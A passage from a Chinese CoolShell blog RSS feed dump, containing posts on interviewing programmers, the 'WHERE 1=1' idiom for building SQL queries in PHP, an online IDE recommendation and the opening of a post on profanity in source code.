经历，技术技能这三个事情是你需要了解的。一般来说，你可以先通过电话确定一下他的工作经历，项目经历和技术技能，然后，如果他和你需要的人条件相符的话，可以叫到公司做面对面的面试。千万不要把别人叫来，你又说你的经历和我们的工作有差距之类的话。（我有过一次面试经历，公司我不说了，反正是那个号称需要有良好沟通的公司，面试了我9次左右，从一般的程序员，PM，经理，到总经理，而最后一次直接告诉我，我以前的经历和他们的要求差距很大。我不禁要问了，前面若干次的面试他们都在干什么呢？）</p>\n<p><strong>二、面试开场。</strong>其次，把人邀请来公司面试，应聘者到了公司来面试，有一点很重要，那就是你一定要让整个面试过程变得很随意，很放松，就像普通的聊天和一般朋友间的交流一样。这样应聘者才会放松并拿出真实的样子来和你谈话和聊天，你才能在很短的时间内了解得更多。让应聘者放下心理负担，让其表现得自然一些，这是招聘方的责任。千万不要说，别人太紧张发挥的不好，有时候，招聘方得想想自己的问题。</p>\n<p>面试开场的时候，千万不要让应聘者介绍自己，因为，应聘者早就给你发过简历了，而你也给其打过电话了。另外，应聘者对这个面试惯例通常都会准备得非常不错的，另一方面，这会让整个面试过程太正式太严肃了。所以，不妨问问应聘者是怎么过来的？最近怎么样？还可以和应聘者谈一个大众话题，比如喜欢什么体育，音乐，电影，社会热点什么的，自己也别板着个脸，说说笑笑，试图让大家都放松下来。另外，通过这些闲聊，你可以知道他/她的与人交往能力和一些性格。另外，不要让桌子放在你和应聘者之间，把环境搞得随意一些。</p>\n<p><strong>三、多让应聘者说说他的经历</strong>。接下来，如果你要觉得这个应聘者是否是一个可以解决问题，是一个可以把事情搞定的人，不用问他/她会做什么，直接问问其做过什么？干过什么事？对于一个好的程序员来说，很难想像其没有相关的实践，就算你是在大学里，你也应该做过什么。如果你有解决问题的能力，那么，很显然，今天你应该解决了很多问题，也搞定了很多事情，听听应聘者说一说他的那些事。（不要使用一问一答这种方式，应该让应聘者多说，而多听，多想）</p>\n<p>在他讲他的项目的时候，通常来说你要注意下面几点：</p>\n<ul>\n<li><strong>沟通表达能力</strong>。应聘者能不能把一个事情讲清楚。如果这个人聪明的话，他就可以用最简单的语言把一个复杂的事情讲清楚。而且，这是一个好的程序员最基本的能力。而且，你可以在应聘者一边描述其经历的时候，你可以和应聘者有一些的良好的来来回回的交谈，这样就可以知道，他的沟通能力和沟通方式，从而了解他的性格，。</li>\n<li><strong>角色和位置</strong>。也许他参与了一个很大的项目，但只是做了一个很简单的模块。所以，了解其在项目中的担任的角色和位置是非常必要的。当应聘者说到“我们”或者“大家”之类的词汇时，一定要向下细化和明确。</li>\n<li><strong>做出的贡献和解决了什么的问题</strong>。这个很重要，通过了解这个，你可以知道面试者是否聪明，是否有能力解决问题，是否有好的技术底子。</li>\n<li><strong>演示</strong>。如果可能，你可以让应聘者展示一些其写过的代码，做过的设计，或是直接给你看看他写的程序的演示。（从设计上，代码的风格，重用性，维护性上你可以了解很多很多）</li>\n<li><strong>基础知识</strong>。了解该项目中应聘者使用的技术的一些基础知识，比如，通过整个过程，你可以问一些网络，语言，面象对象，系统的一些基础知识。基础知识是非常重要的，这直接关系到了他的能力。</li>\n<li><strong>流程和工具</strong>。了解应聘者所熟悉的项目的流程（银弹，瀑布，敏捷，……），还有流程中的一些工件（如：需求文档，设计文档，测试方档等），以及在开发过程中使用的工具（内存测试，代码检查，BUG报告，版本维护，开发调试……）（关于程序员的基本技能，你可以参考——《<a href=\"https://coolshell.cn/articles/428.html\" rel=\"bookmark\">程序员需要具备的基本技能</a>》）</li>\n</ul>\n<p>有人会说，应聘者的经历可以被他自己编出来的，他可以把一些不是他做的事说成是他做的。是的，的确是有这种可能。不过，不要忘了，一个谎言背后需要用更多的谎言来圆谎的，所以，你不必担心这个问题，只要你在应聘者的描述过程中逐步求精，细化问题，你会知道应聘者是否是在编故事的。</p>\n<p>千万记住下面几点：</p>\n<ul>\n<li>谈话风格要随意和自然，不要正式。</li>\n<li>在了解应聘者以前做过的事的时候，不要太投入了。因为招聘方也是技术人员，所以有时候，招聘者自己会因为应聘者所做的项目中的技术太过迷人而被吸引了。</li>\n<li>要注意引导应聘人。相信我，应聘的程序员十个人有八个人讲不清楚以前做的是什么。因为他们直接跳过了项目背景和要解决什么样的问题，而直接进入具体实现。</li>\n<li>不要一问一答，应该多让应聘者说，这样才能多全方位了解一个人。</li>\n<li>了解一个人的过去，了解一个人做过的事情，比其会做什么更重要。</li>\n<li>了解一个人的性格，想法，思维和行为，比了解其技术技能更重要。</li>\n<li>沟通能力，表达能力，语言组织能力，理解能力，等方面的能力，关系到了是否能和别人一起工作。</li>\n<li>基础知识比知识的点滴要重要得多。你可能不知道其个C++的关键字，但你应该要知道C++的继承和多态。</li>\n<li>技术技能固然很重要，但比其更重要的是这个人获取知识的能力，学习能力是在计算机这样变化飞快行业中必需具备的。</li>\n<li>是否可以进行培养，比掌握的技能更重要。</li>\n</ul>\n<p><strong>四、实际参与？？</strong>这一步可能是很不好实施的。因为，这需要一些应聘者付出一定的时间，如果是毕业生，那没有问题，先让他来实习一段时间。但如果别人有工作，就不好了。也许你会说，这就是试用期的用处了。不过，我个人觉得，你得要尊重应聘者，人家把那边的工作辞了，来你这边工作，三个月试用期间，如果没有什么原则上的问题，你作为一个招聘方又反悔了，这样做很是相当的不好。如果发现这样的事，只能是招聘者自己的问题。</p>\n<p>在面试过程中，一些招聘者会让应聘者们一起做个游戏，或是搞个辩论比赛，或是现场组个团队干个简单的事情，有的甚至让应聘者请一天假到自己的公司里来和自己的团队一同工作一天，并要完成某个事情（甚至给其设置上deadline），并通过这些来考量应聘者的实际参与能力。</p>\n<p>是的，如果没有一起工作过，没有一些实际的事情发生，单靠几个小时的面试很难了解一个人的。设置上这些面试的环节，在最短的时间内来了解应聘者的一切，对于招聘方来说无可厚非。而且有的时候也能得到不错的效果。在这里，我只提一点，有时候这样的周期拉得很长，让应聘者付出了很多，反尔会让应聘者产生反感和厌烦情绪，从某种意义上来说，这实在是对应聘者的不尊重。</p>\n<p>对于这一点，我一直持疑问的态度，所以，我在其后打了两个问号。老实说，对于实际参与这一环节，我个人的意见是适可而止，因为时间太短了，无论你怎么做你都无法了解完整。即然无法了解完整，那就获取你最需要的吧，就是本文开头的那三个问题，以及上面所述的“第三点”（了解应聘者的以往经历）。</p>\n<p>也许这个文章中有一些你不同意的观点，没问题，欢迎批评，如果你有更好的做法，我也想听听，不妨在这里留个言，如果不想留也可以email给我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"给程序员新手的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_title\">给程序员新手的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"再谈“我是怎么招聘程序员的”（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（上）</a></li><li ><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"再谈“我是怎么招聘程序员的”（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（下）</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1870.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>152</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-34.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 34 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=34\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sat, 25 Sep 2010 04:59:05 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>SQL的Where语句</title>\n\t\t<link>https://coolshell.cn/articles/1889.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1889.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Dec 2009 05:48:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1889</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1889.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=1”的子条件）呵呵。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1890\" title=\"SQL Where Clause\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause.jpg\" alt=\"SQL Where Clause\" width=\"460\" height=\"631\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause.jpg 460w, https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-219x300.jpg 219w, https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-197x270.jpg 197w\" sizes=\"(max-width: 460px) 100vw, 460px\" /></p>\n<p>要理解这个事情的原因其实并不难。只要你是一个编写数据库的程序员，你就会知道——动态生成where后的条件的“麻烦”，那就是条件的“分隔”-and或or。下面听我慢慢说来。</p>\n<p><span id=\"more-1889\"></span></p>\n<p>我们知道，大多数的查询表单都需要用户输出一堆查询条件，然后我们的程序在后台要把这些子条件用and组合起来。于是，把and加在各个条件的中间就成为了一件“难事”，因为你的程序需要判断：</p>\n<ul>\n<li>如果没有条件的话，则不需要where</li>\n<li>如果只有一个条件的话，不需要and.</li>\n<li>如果有多个条件的话，\n<ul>\n<li>如果and是持续加在每个条件后面的话，那么就要判断是否是最后一个条件，因为最后一个不能加and.</li>\n<li>同样，如果and是要加在每个条件前面的话，你就需要判断是否是第一个，如果是，那就不加。</li>\n</ul>\n</li>\n</ul>\n<p>真是TMD太烦了，所以，编程“大拿”引入了“1=1”条件语句。于是，编程的难度大幅度下降，你可以用单一的方式来处理这若干的查询子条件了。而1=1应该会被数据库引擎优化时给去掉了。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT name FROM table WHERE 1=1 &quot;;\n\nforeach($clauses as $key =&gt; $value){\n    $query .= &quot; AND &quot;.escape($key).&quot;=&quot;.escape($value).&quot; &quot;;\n}\n&lt;/code&gt;&lt;/pre&gt;\n</pre>\n<p>呵呵，<strong>DBA怎么能够理解我们疯狂程序员的用心良苦啊</strong>。</p>\n<p>另外，在这里说一下，这样的做法看似很愚蠢，但很有效，在PHP的世界中，也有人使用下面这样的做法——使用了PHP的implode函数。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;/**\n * @param string $base base of query, e.g. UPDATE table SET\n * @param string $logic logic for concatenating $assoc, e.g. AND\n * @param array $assoc associative array of `field`=&gt;&#039;value&#039; pairs to concatenate and append to $base\n * @param string $suffix additional clauses, e.g. LIMIT 0,30\n * @return string\n */\nfunction construct_sql($base, $logic, $clauses, $suffix=&#039;&#039;)\n{\n    // initialise array to avoid warnings/notices on some PHP installations\n    $queries = array();\n\n    // create array of strings to be glued together by logic\n    foreach($clauses as $key =&gt; $value)\n        $queries[] = &quot;`&quot; . escape($key) . &quot;`=&#039;&quot; . escape($value) . &quot;&#039;&quot;;\n\n    // add a space in case $base doesn&#039;t have a space at the end and glue clauses together\n    $query .= &quot; &quot; . implode(&quot; $logic &quot;,$queries) . &quot; &quot; . $suffix . &quot;;&quot;;\n\n    return $query;\n}\n\n/**\n * @param string $str string to escape for intended use\n * @return string\n */\nfunction escape($str)\n{\n    return mysql_real_escape_string($str);\n}\n&lt;/code&gt;&lt;/pre&gt;\n</pre>\n<p>于是，我们可以这样使用：（<code>为什么我们要在update语句后加上“Limit 1”呢？这个关系到性能问题，关于这方面的话题，你可以查看本站的《<a title=\"MySQL性能优化的最佳20+条经验\" href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a>》</code>）</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n&lt;pre&gt;&lt;code&gt;$updates = array(\n    &#039;field1&#039;=&gt;&#039;val1&#039;\n    &#039;field2&#039;=&gt;&#039;val2&#039;\n);\n$wheres = array(\n    &#039;field1&#039;=&gt;&#039;cond1&#039;,\n    &#039;field2&#039;=&gt;&#039;cond2&#039;\n);\necho construct_sql(construct_sql(&quot;UPDATE table SET&quot;, &quot;, &quot;, $updates) . &quot; WHERE &quot;, &quot; AND &quot;, $wheres),&quot;LIMIT 1&quot;);\n&lt;/code&gt;&lt;/pre&gt;\n&lt;pre&gt;&lt;/pre&gt;\n</pre>\n<p><code>下面是输出结果：</code></p>\n<p><code data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">UPDATE table SET `field1`=&#039;val1&#039;, `field2`=&#039;val2&#039; WHERE `field1`=&#039;cond1&#039; AND `field2`=&#039;cond2&#039; LIMIT 1;</code></p>\n<p> </p>\n<p><code>（全文完）</code><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" alt=\"MySQL性能优化的最佳20+条经验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_title\">MySQL性能优化的最佳20+条经验</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1889.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Coderun.com 在线开发IDE</title>\n\t\t<link>https://coolshell.cn/articles/1883.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1883.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Dec 2009 05:41:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Coderun.com]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[IDE]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1883</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信大家都还记得我以前向大家推荐的《在线代码编译服务Codepad.org》吧。这回的这个更猛——在线的代码开发的IDE，可以编译，执行，调试。不过，主要针对W...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1883.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1883.html\">Coderun.com 在线开发IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>相信大家都还记得我以前向大家推荐的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1310.html\">在线代码编译服务Codepad.org</a>》吧。这回的这个更猛——在线的代码开发的IDE，可以编译，执行，调试。不过，主要针对Web方面的，主要是C#，ASP.NET，Javascript(JQuery)和PHP，很强大哦。那句话是怎么说来的——“如果一个软件可以用Javascript来写，那么这个软件的最终版本会是Javascript”。这个在线的IDE是：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.coderun.com/ide/\" target=\"_blank\"><strong>http://www.coderun.com/ide/</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1884\" title=\"Coderun.com 在线开发IDE（点击看大图）\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_-300x225.jpg\" alt=\"Coderun.com 在线开发IDE（点击看大图）\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg 1024w, https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_-360x270.jpg 360w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p style=\"TEXT-ALIGN: left\">有朋友在留言中说，这个项目可能不实用，没什么意思，而我想说，Google的Chrome OS项目可能非常喜欢这个东西。顺便说一下，这个Online的IDE是开源的，源码在这里：<a href=\"http://coderun.codeplex.com/\">http://coderun.codeplex.com/</a>。 </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/11094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/example_visual_language_sketchpad_01-150x150.jpg\" alt=\"可视化编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11094.html\" class=\"wp_rp_title\">可视化编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1883.html\">Coderun.com 在线开发IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1883.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>115</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript程序员嘴最脏??</title>\n\t\t<link>https://coolshell.cn/articles/1850.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1850.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 30 Nov 2009 00:16:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1850</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>请看下图，我在Google Code上，针对每个程序语言都搜索了一下“fuck”一词的出现文件的个数X，以及没有出现fuck一词的文件的个数Y，然后放在Exce...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1850.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>请看下图，我在Google Code上，针对每个程序语言都搜索了一下“fuck”一词的出现文件的个数X，以及没有出现fuck一词的文件的个数Y，然后放在Excel里求了一下百分比（X/(X+Y) * 100%），做了一个图。结果，JavaScript语言中出现的次数高达0.56%，名列全部语言之首，然后是Perl，C 和 PHP。（对于Javascript程序员的这种行为可以理解，因为IE，因为浏览器嘛，我就不多说了）</p>\n<p style=\"text-align: center;\"><img 